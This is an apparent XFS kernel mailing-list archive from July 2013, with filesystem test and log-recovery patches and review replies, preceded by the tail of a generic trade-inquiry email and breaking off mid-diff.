    My Name is Eloise the purchasing Manager of ITC(Internation Trading= COmpany) We are Interested in some of your products as requested by o= ur customers,could you kindly send me your full catalog of products wi= th clear photos, and list of FOB prices in USD with prices,competitive= prices for serious starting.
    Also get back to us with the followi= ng:

     

    1.MOQ:
    2.Delivery Terms:
    3.Payment Terms: L/C at sig= ht or T/T

     

    Awaiting your quick reply,
    Warmest regards,
    Eloise

    = --d=_yjSm8CsZ1hbaDv7UpIMlDBKQ8uc2IBB0-- From stan@hardwarefreak.com Wed Jul 24 23:36:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 35E5F7CBF for ; Wed, 24 Jul 2013 23:36:37 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1F2768F8033 for ; Wed, 24 Jul 2013 21:36:37 -0700 (PDT) X-ASG-Debug-ID: 1374726996-04cb6c2e9c366a0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id XsfPdAfyVtSkDxbz for ; Wed, 24 Jul 2013 21:36:36 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id EEBA86C123; Wed, 24 Jul 2013 23:36:35 -0500 (CDT) Message-ID: <51F0AB56.7020705@hardwarefreak.com> Date: Wed, 24 Jul 2013 23:36:38 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: Dwight Engen , xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: 091, 240, 268 fix for xfs on 4k sector hard drive References: <20130724143208.34b77534@oracle.com> <20130724235739.GR19986@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: 091, 240, 268 fix for xfs on 4k sector hard drive In-Reply-To: <20130724235739.GR19986@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1374726996 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 7/24/2013 6:57 PM, Dave Chinner wrote: > On Wed, Jul 24, 2013 at 02:32:08PM -0400, Dwight Engen wrote: >> Tests 091,240, and 268 are failing on my 4k sector hard disk. The dio writes >> from fsx and aiodio_sparse2 are failing on xfs with EINVAL which is returned >> from the check at the top of xfs_file_dio_aio_write(). >> >> The fix is to use blockdev -getpbsz to get the physical sector size instead >> of the logical sector size. This makes 091 and 268 work. 240 will not run >> on a 4k drive since fs block size == device block size. Tested against >> xfs,ext4, and btrfs. > > What's the logical sector size of the drive? If it's 4k, then > blockdev --getss should be returning 4k. If it's not, then either > the drive is reporting that it supports 512 bytes sectors when it > doesn't (i.e. the drive is broken) or blockdev is returning the > wrong information (i.e. blockdev is broken).... > > What does mkfs.xfs output on that device? > >> rm -f $TEST_DIR/aiodio_sparse >> >> -logical_block_size=`blockdev --getss $TEST_DEV` >> +logical_block_size=`blockdev --getpbsz $TEST_DEV` > > FWIW, that doesn't make much sense - putting the physical block size > into a variable named "logical_block_size"..... > > Cheers, > > Dave. AFAIK there are no native 4K sector drives on the market yet. All of the currently shipping models with physical 4K sectors are "Advanced Format" drives. The Advanced Format standard specifies 4K physical sectors -internal- to the drive, but with traditional 512B LBA addressing. Dwight, what disk drive is this in question? Make/model? -- Stan From bo.li.liu@oracle.com Thu Jul 25 03:15:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9457B7F37 for ; Thu, 25 Jul 2013 03:15:23 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 805EB8F8033 for ; Thu, 25 Jul 2013 01:15:20 -0700 (PDT) X-ASG-Debug-ID: 1374740116-04cbb02c3b454e0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 5UZPbEupwhqVjQjR (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Thu, 25 Jul 2013 01:15:16 -0700 (PDT) X-Barracuda-Envelope-From: bo.li.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6P8FEhV027483 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 25 Jul 2013 08:15:15 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6P8FDhD002256 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 25 Jul 2013 08:15:14 GMT Received: from abhmt111.oracle.com (abhmt111.oracle.com [141.146.116.63]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6P8FDol007213; Thu, 25 Jul 2013 08:15:13 GMT Received: from localhost.localdomain.com (/10.182.228.124) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 25 Jul 2013 01:15:12 -0700 From: Liu Bo To: linux-btrfs@vger.kernel.org Cc: xfs@oss.sgi.com, Ben Myers Subject: [PATCH v2] xfstests/btrfs/308: add snapshot-aware defrag for partial extents testcases Date: Thu, 25 Jul 2013 16:15:02 +0800 X-ASG-Orig-Subj: [PATCH v2] xfstests/btrfs/308: add snapshot-aware defrag for partial extents testcases Message-Id: <1374740102-9687-1-git-send-email-bo.li.liu@oracle.com> X-Mailer: git-send-email 1.8.1.4 X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374740116 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137290 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines This is to test whether snapshot-aware defrag can work well on partial extents. Reviewed-by: Ben Myers Signed-off-by: Liu Bo --- v2: limit _supported_fs btrfs to btrfs. tests/btrfs/308 | 93 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/308.out | 2 + tests/btrfs/group | 1 + 3 files changed, 96 insertions(+), 0 deletions(-) create mode 100755 tests/btrfs/308 create mode 100644 tests/btrfs/308.out diff --git a/tests/btrfs/308 b/tests/btrfs/308 new file mode 100755 index 0000000..b3dd39c --- /dev/null +++ b/tests/btrfs/308 @@ -0,0 +1,93 @@ +#! /bin/bash +# BTRFS QA Test No. 308 +# +# Test if snapshot-aware defrag can work well on partial extents, ie. +# extent_offset is not zero. +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Oracle. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here + +# Modify as appropriate. +_supported_fs btrfs +_supported_os Linux +_require_scratch +_require_command "/usr/sbin/filefrag" + +rm -f $seqres.full + +_scratch_mkfs > /dev/null 2>&1 +_scratch_mount + +subvol=$SCRATCH_MNT/subvol + +$BTRFS_UTIL_PROG subvolume create $subvol >> $seqres.full + +for i in `seq 5 -1 1` +do + dd if=/dev/zero of=$subvol/foobar bs=6k count=1 seek=$i conv=notrunc oflag=dsync 2>> $seqres.full +done + +sync +for i in `seq 2 -1 1` +do + $BTRFS_UTIL_PROG subvolume snapshot $subvol $SCRATCH_MNT/snap-$i >> $seqres.full +done + +$BTRFS_UTIL_PROG filesystem defrag $subvol/foobar && sync + +num_extent_orig=`filefrag $subvol/foobar | awk -F ' ' '{print $2}'` +num_extent_snap1=`filefrag $SCRATCH_MNT/snap-1/foobar | awk -F ' ' '{print $2}'` +num_extent_snap2=`filefrag $SCRATCH_MNT/snap-2/foobar | awk -F ' ' '{print $2}'` + +echo "$num_extent_orig $num_extent_snap1 $num_extent_snap2" >> $seqres.full + +# if error +if [ "x$num_extent_snap1" != "x$num_extent_orig" -o "x$num_extent_snap2" != "x$num_extent_orig" ]; then + echo "number of extents mis-match!" + exit +fi + +# optional stuff if your test has verbose output to help resolve problems +#echo +#echo "If failure, check $seqres.full (this) and $seqres.full.ok (reference)" + +# success, all done +echo "done" +status=0 +exit diff --git a/tests/btrfs/308.out b/tests/btrfs/308.out new file mode 100644 index 0000000..1f3de82 --- /dev/null +++ b/tests/btrfs/308.out @@ -0,0 +1,2 @@ +QA output created by 308 +done diff --git a/tests/btrfs/group b/tests/btrfs/group index bc6c256..666054b 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -9,3 +9,4 @@ 276 auto rw metadata 284 auto 307 auto quick +308 auto quick -- 1.7.7 From zwu.kernel@gmail.com Thu Jul 25 03:23:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9C69C7F37 for ; Thu, 25 Jul 2013 03:23:14 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 37A70AC002 for ; Thu, 25 Jul 2013 01:23:11 -0700 (PDT) X-ASG-Debug-ID: 1374740589-04bdf02f20465f0001-NocioJ Received: from e8.ny.us.ibm.com (e8.ny.us.ibm.com [32.97.182.138]) by cuda.sgi.com with ESMTP id bVTiYFKngqgOXWfH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 01:23:09 -0700 (PDT) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.182.138 Received: from /spool/local by e8.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Thu, 25 Jul 2013 09:23:08 +0100 Received: from d01dlp02.pok.ibm.com (9.56.250.167) by e8.ny.us.ibm.com (192.168.1.108) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Thu, 25 Jul 2013 09:23:06 +0100 Received: from d01relay05.pok.ibm.com (d01relay05.pok.ibm.com [9.56.227.237]) by d01dlp02.pok.ibm.com (Postfix) with ESMTP id 04F1A6E803C for ; Thu, 25 Jul 2013 04:23:01 -0400 (EDT) Received: from d01av04.pok.ibm.com (d01av04.pok.ibm.com [9.56.224.64]) by d01relay05.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6P8N5ub132158 for ; Thu, 25 Jul 2013 04:23:05 -0400 Received: from d01av04.pok.ibm.com (loopback [127.0.0.1]) by d01av04.pok.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6P8N5Uw007665 for ; Thu, 25 Jul 2013 04:23:05 -0400 Received: from us.ibm.com (f17.cn.ibm.com [9.115.122.140]) by d01av04.pok.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with SMTP id r6P8N2fh007493; Thu, 25 Jul 2013 04:23:02 -0400 Received: by us.ibm.com (sSMTP sendmail emulation); Thu, 25 Jul 2013 16:23:39 +0800 From: zwu.kernel@gmail.com To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, Zhi Yong Wu Subject: [PATCH] xfs: introduce object readahead to log recovery Date: Thu, 25 Jul 2013 16:23:39 +0800 X-ASG-Orig-Subj: [PATCH] xfs: introduce object readahead to log recovery Message-Id: <1374740619-29797-1-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.11.7 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13072508-0320-0000-0000-0000006A4D41 X-Barracuda-Connect: e8.ny.us.ibm.com[32.97.182.138] X-Barracuda-Start-Time: 1374740589 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137291 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name From: Zhi Yong Wu It can take a long time to run log recovery operation because it is single threaded and is bound by read latency. We can find that it took most of the time to wait for the read IO to occur, so if one object readahead is introduced to log recovery, it will obviously reduce the log recovery time. In dirty log case as below: data device: 0xfd10 log device: 0xfd10 daddr: 20480032 length: 20480 log tail: 7941 head: 11077 state: This dirty ratio is about 15%. I am trying to do tests in larger scale and dirtier filesystem environment. Log recovery time stat: w/o this patch w/ this patch real 0m1.051s 0m0.965s sys 0m0.033s 0m0.035s iowait 0m1.018s 0m0.930s Signed-off-by: Zhi Yong Wu --- fs/xfs/xfs_log_recover.c | 131 +++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 127 insertions(+), 4 deletions(-) diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 6fcc910a..f07e5e0 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -3107,6 +3107,121 @@ xlog_recover_free_trans( kmem_free(trans); } +STATIC void +xlog_recover_buffer_ra_pass2( + struct xlog *log, + struct xlog_recover_item *item) +{ + xfs_buf_log_format_t *buf_f = item->ri_buf[0].i_addr; + xfs_mount_t *mp = log->l_mp; + + if (xlog_check_buffer_cancelled(log, buf_f->blf_blkno, + buf_f->blf_len, buf_f->blf_flags)) { + return; + } + + xfs_buf_readahead(mp->m_ddev_targp, buf_f->blf_blkno, + buf_f->blf_len, NULL); +} + +STATIC void +xlog_recover_inode_ra_pass2( + struct xlog *log, + struct xlog_recover_item *item) +{ + xfs_inode_log_format_t *in_f; + xfs_mount_t *mp = log->l_mp; + int error; + int need_free = 0; + + if (item->ri_buf[0].i_len == sizeof(xfs_inode_log_format_t)) { + in_f = item->ri_buf[0].i_addr; + } else { + in_f = kmem_alloc(sizeof(xfs_inode_log_format_t), KM_SLEEP); + need_free = 1; + error = xfs_inode_item_format_convert(&item->ri_buf[0], in_f); + if (error) + goto error; + } + + if (xlog_check_buffer_cancelled(log, in_f->ilf_blkno, + in_f->ilf_len, 0)) { + goto error; + } + + xfs_buf_readahead(mp->m_ddev_targp, in_f->ilf_blkno, + in_f->ilf_len, &xfs_inode_buf_ops); + +error: + if (need_free) + kmem_free(in_f); +} + +STATIC void +xlog_recover_dquot_ra_pass2( + struct xlog *log, + struct xlog_recover_item *item) +{ + xfs_mount_t *mp = log->l_mp; + xfs_buf_t *bp; + struct xfs_disk_dquot *recddq; + int error; + xfs_dq_logformat_t *dq_f; + uint type; + + + if (mp->m_qflags == 0) + return; + + recddq = item->ri_buf[1].i_addr; + if (recddq == NULL) + return; + if (item->ri_buf[1].i_len < sizeof(xfs_disk_dquot_t)) + return; + + type = recddq->d_flags & (XFS_DQ_USER | XFS_DQ_PROJ | XFS_DQ_GROUP); + ASSERT(type); + if (log->l_quotaoffs_flag & type) + return; + + dq_f = item->ri_buf[0].i_addr; + ASSERT(dq_f); + error = xfs_qm_dqcheck(mp, recddq, dq_f->qlf_id, 0, XFS_QMOPT_DOWARN, + "xlog_recover_dquot_ra_pass2 (log copy)"); + if (error) + return; + ASSERT(dq_f->qlf_len == 1); + + error = xfs_trans_read_buf(mp, NULL, mp->m_ddev_targp, dq_f->qlf_blkno, + XFS_FSB_TO_BB(mp, dq_f->qlf_len), 0, &bp, + NULL); + if (!error) + xfs_buf_relse(bp); +} + +STATIC void +xlog_recover_ra_pass2( + struct xlog *log, + struct xlog_recover_item *item) +{ + switch (ITEM_TYPE(item)) { + case XFS_LI_BUF: + xlog_recover_buffer_ra_pass2(log, item); + break; + case XFS_LI_INODE: + xlog_recover_inode_ra_pass2(log, item); + break; + case XFS_LI_DQUOT: + xlog_recover_dquot_ra_pass2(log, item); + break; + case XFS_LI_EFI: + case XFS_LI_EFD: + case XFS_LI_QUOTAOFF: + default: + break; + } +} + STATIC int xlog_recover_commit_pass1( struct xlog *log, @@ -3140,10 +3255,14 @@ xlog_recover_commit_pass2( struct xlog *log, struct xlog_recover *trans, struct list_head *buffer_list, - struct xlog_recover_item *item) + struct xlog_recover_item *item, + struct xlog_recover_item *next_item) { trace_xfs_log_recover_item_recover(log, trans, item, XLOG_RECOVER_PASS2); + if (next_item) + xlog_recover_ra_pass2(log, next_item); + switch (ITEM_TYPE(item)) { case XFS_LI_BUF: return xlog_recover_buffer_pass2(log, buffer_list, item); @@ -3181,7 +3300,7 @@ xlog_recover_commit_trans( int pass) { int error = 0, error2; - xlog_recover_item_t *item; + xlog_recover_item_t *item, *next_item, *temp_item; LIST_HEAD (buffer_list); hlist_del(&trans->r_list); @@ -3190,14 +3309,18 @@ xlog_recover_commit_trans( if (error) return error; - list_for_each_entry(item, &trans->r_itemq, ri_list) { + list_for_each_entry_safe(item, temp_item, &trans->r_itemq, ri_list) { switch (pass) { case XLOG_RECOVER_PASS1: error = xlog_recover_commit_pass1(log, trans, item); break; case XLOG_RECOVER_PASS2: + if (&temp_item->ri_list != &trans->r_itemq) + next_item = temp_item; + else + next_item = NULL; error = xlog_recover_commit_pass2(log, trans, - &buffer_list, item); + &buffer_list, item, next_item); break; default: ASSERT(0); -- 1.7.11.7 From bfoster@redhat.com Thu Jul 25 07:57:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8A8B47F37 for ; Thu, 25 Jul 2013 07:57:42 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3B9E330408E for ; Thu, 25 Jul 2013 05:57:42 -0700 (PDT) X-ASG-Debug-ID: 1374757060-04bdf02f215bfd0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id vaz39OcJIRiimoDD for ; Thu, 25 Jul 2013 05:57:41 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6PCvcPi019043 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 25 Jul 2013 08:57:38 -0400 Received: from laptop.bfoster (vpn-50-160.rdu2.redhat.com [10.10.50.160]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6PCvbJK007749 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Thu, 25 Jul 2013 08:57:37 -0400 Message-ID: <51F11FFE.4060300@redhat.com> Date: Thu, 25 Jul 2013 08:54:22 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 09/49] xfs: introduce xfs_quota_defs.h References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-10-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 09/49] xfs: introduce xfs_quota_defs.h In-Reply-To: <1374215120-7271-10-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374757060 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/19/2013 02:24 AM, Dave Chinner wrote: > From: Dave Chinner > > There are a lot of quota flag definitions that are shared by user > and kernel space. Move them all to xfs_quota_defs.h so we can > unshare xfs_quota.h and remove the __KERNEL__ regions from it. > > Signed-off-by: Dave Chinner > --- Reviewed-by: Brian Foster > fs/xfs/xfs_quota.h | 134 +---------------------------------------- > fs/xfs/xfs_quota_defs.h | 157 ++++++++++++++++++++++++++++++++++++++++++++++++ > 2 files changed, 160 insertions(+), 131 deletions(-) > create mode 100644 fs/xfs/xfs_quota_defs.h > > diff --git a/fs/xfs/xfs_quota.h b/fs/xfs/xfs_quota.h > index 16bde32..fc2fed6 100644 > --- a/fs/xfs/xfs_quota.h > +++ b/fs/xfs/xfs_quota.h > @@ -18,141 +18,14 @@ > #ifndef __XFS_QUOTA_H__ > #define __XFS_QUOTA_H__ > > -struct xfs_trans; > +#include "xfs_quota_defs.h" > > /* > - * Even though users may not have quota limits occupying all 64-bits, > - * they may need 64-bit accounting. Hence, 64-bit quota-counters, > - * and quota-limits. This is a waste in the common case, but hey ... > + * Kernel only quota definitions and functions > */ > -typedef __uint64_t xfs_qcnt_t; > -typedef __uint16_t xfs_qwarncnt_t; > - > -/* > - * flags for q_flags field in the dquot. > - */ > -#define XFS_DQ_USER 0x0001 /* a user quota */ > -#define XFS_DQ_PROJ 0x0002 /* project quota */ > -#define XFS_DQ_GROUP 0x0004 /* a group quota */ > -#define XFS_DQ_DIRTY 0x0008 /* dquot is dirty */ > -#define XFS_DQ_FREEING 0x0010 /* dquot is beeing torn down */ > - > -#define XFS_DQ_ALLTYPES (XFS_DQ_USER|XFS_DQ_PROJ|XFS_DQ_GROUP) > > -#define XFS_DQ_FLAGS \ > - { XFS_DQ_USER, "USER" }, \ > - { XFS_DQ_PROJ, "PROJ" }, \ > - { XFS_DQ_GROUP, "GROUP" }, \ > - { XFS_DQ_DIRTY, "DIRTY" }, \ > - { XFS_DQ_FREEING, "FREEING" } > - > -/* > - * We have the possibility of all three quota types being active at once, and > - * hence free space modification requires modification of all three current > - * dquots in a single transaction. For this case we need to have a reservation > - * of at least 3 dquots. > - * > - * However, a chmod operation can change both UID and GID in a single > - * transaction, resulting in requiring {old, new} x {uid, gid} dquots to be > - * modified. Hence for this case we need to reserve space for at least 4 dquots. > - * > - * And in the worst case, there's a rename operation that can be modifying up to > - * 4 inodes with dquots attached to them. In reality, the only inodes that can > - * have their dquots modified are the source and destination directory inodes > - * due to directory name creation and removal. That can require space allocation > - * and/or freeing on both directory inodes, and hence all three dquots on each > - * inode can be modified. And if the directories are world writeable, all the > - * dquots can be unique and so 6 dquots can be modified.... > - * > - * And, of course, we also need to take into account the dquot log format item > - * used to describe each dquot. > - */ > -#define XFS_DQUOT_LOGRES(mp) \ > - ((sizeof(struct xfs_dq_logformat) + sizeof(struct xfs_disk_dquot)) * 6) > - > -#define XFS_IS_QUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_ALL_QUOTA_ACCT) > -#define XFS_IS_UQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_UQUOTA_ACCT) > -#define XFS_IS_PQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_PQUOTA_ACCT) > -#define XFS_IS_GQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_GQUOTA_ACCT) > -#define XFS_IS_UQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_UQUOTA_ENFD) > -#define XFS_IS_GQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_GQUOTA_ENFD) > -#define XFS_IS_PQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_PQUOTA_ENFD) > - > -/* > - * Incore only flags for quotaoff - these bits get cleared when quota(s) > - * are in the process of getting turned off. These flags are in m_qflags but > - * never in sb_qflags. > - */ > -#define XFS_UQUOTA_ACTIVE 0x1000 /* uquotas are being turned off */ > -#define XFS_GQUOTA_ACTIVE 0x2000 /* gquotas are being turned off */ > -#define XFS_PQUOTA_ACTIVE 0x4000 /* pquotas are being turned off */ > -#define XFS_ALL_QUOTA_ACTIVE \ > - (XFS_UQUOTA_ACTIVE | XFS_GQUOTA_ACTIVE | XFS_PQUOTA_ACTIVE) > - > -/* > - * Checking XFS_IS_*QUOTA_ON() while holding any inode lock guarantees > - * quota will be not be switched off as long as that inode lock is held. > - */ > -#define XFS_IS_QUOTA_ON(mp) ((mp)->m_qflags & (XFS_UQUOTA_ACTIVE | \ > - XFS_GQUOTA_ACTIVE | \ > - XFS_PQUOTA_ACTIVE)) > -#define XFS_IS_OQUOTA_ON(mp) ((mp)->m_qflags & (XFS_GQUOTA_ACTIVE | \ > - XFS_PQUOTA_ACTIVE)) > -#define XFS_IS_UQUOTA_ON(mp) ((mp)->m_qflags & XFS_UQUOTA_ACTIVE) > -#define XFS_IS_GQUOTA_ON(mp) ((mp)->m_qflags & XFS_GQUOTA_ACTIVE) > -#define XFS_IS_PQUOTA_ON(mp) ((mp)->m_qflags & XFS_PQUOTA_ACTIVE) > - > -/* > - * Flags to tell various functions what to do. Not all of these are meaningful > - * to a single function. None of these XFS_QMOPT_* flags are meant to have > - * persistent values (ie. their values can and will change between versions) > - */ > -#define XFS_QMOPT_DQALLOC 0x0000002 /* alloc dquot ondisk if needed */ > -#define XFS_QMOPT_UQUOTA 0x0000004 /* user dquot requested */ > -#define XFS_QMOPT_PQUOTA 0x0000008 /* project dquot requested */ > -#define XFS_QMOPT_FORCE_RES 0x0000010 /* ignore quota limits */ > -#define XFS_QMOPT_SBVERSION 0x0000040 /* change superblock version num */ > -#define XFS_QMOPT_DOWARN 0x0000400 /* increase warning cnt if needed */ > -#define XFS_QMOPT_DQREPAIR 0x0001000 /* repair dquot if damaged */ > -#define XFS_QMOPT_GQUOTA 0x0002000 /* group dquot requested */ > -#define XFS_QMOPT_ENOSPC 0x0004000 /* enospc instead of edquot (prj) */ > - > -/* > - * flags to xfs_trans_mod_dquot to indicate which field needs to be > - * modified. > - */ > -#define XFS_QMOPT_RES_REGBLKS 0x0010000 > -#define XFS_QMOPT_RES_RTBLKS 0x0020000 > -#define XFS_QMOPT_BCOUNT 0x0040000 > -#define XFS_QMOPT_ICOUNT 0x0080000 > -#define XFS_QMOPT_RTBCOUNT 0x0100000 > -#define XFS_QMOPT_DELBCOUNT 0x0200000 > -#define XFS_QMOPT_DELRTBCOUNT 0x0400000 > -#define XFS_QMOPT_RES_INOS 0x0800000 > - > -/* > - * flags for dqalloc. > - */ > -#define XFS_QMOPT_INHERIT 0x1000000 > - > -/* > - * flags to xfs_trans_mod_dquot. > - */ > -#define XFS_TRANS_DQ_RES_BLKS XFS_QMOPT_RES_REGBLKS > -#define 